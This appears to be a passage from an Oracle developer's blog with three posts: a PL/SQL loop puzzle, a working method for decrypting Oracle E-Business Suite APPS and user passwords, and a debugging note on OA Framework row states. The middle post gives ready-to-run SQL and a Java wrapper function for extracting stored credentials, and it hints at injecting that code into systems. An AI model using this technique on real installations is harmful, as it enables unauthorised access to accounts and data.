Not an infinte loop

If you know why the below piece of code wont go into an infinite loop in Oracle, then you know a very important concept of Oracle database.

BEGIN
FOR x in (SELECT * from t) LOOP
INSERT INTO t values (x.user_name, x.user_id, x.created);
END LOOP;
END;

Its a direct lift from Thomas Kyte's text book.

Buy the book if you don't know why or thinks that it will go into infinite loop.

Oracle Ebusiness Suite password

Oracle Ebusiness Suite password

You need either read only access to database or you can work it out in a cloned instance.

Step 1: Create the following function in database. Alternatively you can create a Java class and move it to JAVA_TOP.

CREATE OR REPLACE function APPS.my_decrypt(key in varchar2, value in varchar2)
return varchar2
as language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

NOTE: This is trickier part. I won't venture into details of injecting this code into the system. It is not easy but it is doable. :-)

Step 2: Get database APPS schema password.

SELECT my_decrypt((SELECT fpov.profile_option_value
                   FROM   fnd_profile_options fpo,
                          fnd_profile_option_values fpov
                   WHERE  profile_option_name LIKE 'GUEST_USER_PWD'
                          AND fpo.profile_option_id = fpov.profile_option_id),
                  fu.encrypted_foundation_password) apps_pass
FROM   fnd_user fu
WHERE  fu.user_name = 'GUEST'

NOTE: Skip this if you already know the APPS database password. (Like in cloned test/development instance)
 
Step 3: Get Ebusiness Suite (front end) password.

SELECT my_decrypt(<APPS_DATABASE_PASSWORD>,fu.encrypted_user_password) user_pass
FROM   fnd_user fu
WHERE  fu.user_name = <APPS_FRONTEND_USERNAME>


Theory: Oracle for each user encrypts database password in FND_USER.ENCRYPTED_FOUNDATION_PASSWORD column using "USERNAME/PASSWORD" as key and users password in FND_USER.ENCRYPTED_USER_PASSWORD with APPS database password as key.

Row.STATUS_INITIALIZED

We were experiencing a very strange problem with an OA page. The page is used to update multiple rows from a transient VO using a table region. Following were the symptoms.

• Sometimes after save, the old value used to reappear.
• Sometimes after save, value from different row gets updated to current row.
  
• It was not happening for all kind of data.

Finally (by sheer luck) we found that it was because the way we preparing the VO for update.

Old Code
Row row = vo.createRow();
row.setAttribute(0,"value1");
row.setAttribute(1,"value2");
row.setNewRowState(row.STATUS_INITIALIZED);
vo.insertRow(row);

It seems we accidentally were using STATUS_INTITIALIZED instead of STATUS_NEW. What a bummer?

I am not sure where or when we should be using STATUS_INTITIALIZED though but found out that it should never be used while preparing row for insert or update. Below is from the javadoc of oracle.jbo.Row.

static byte
STATUS_INITIALIZED



         Indicates that the row is newly created and no setAttribute has been called on it yet.

static byte
STATUS_NEW



         Indicates that the Row is newly created and this Row's consistuent entities have been added to the transaction.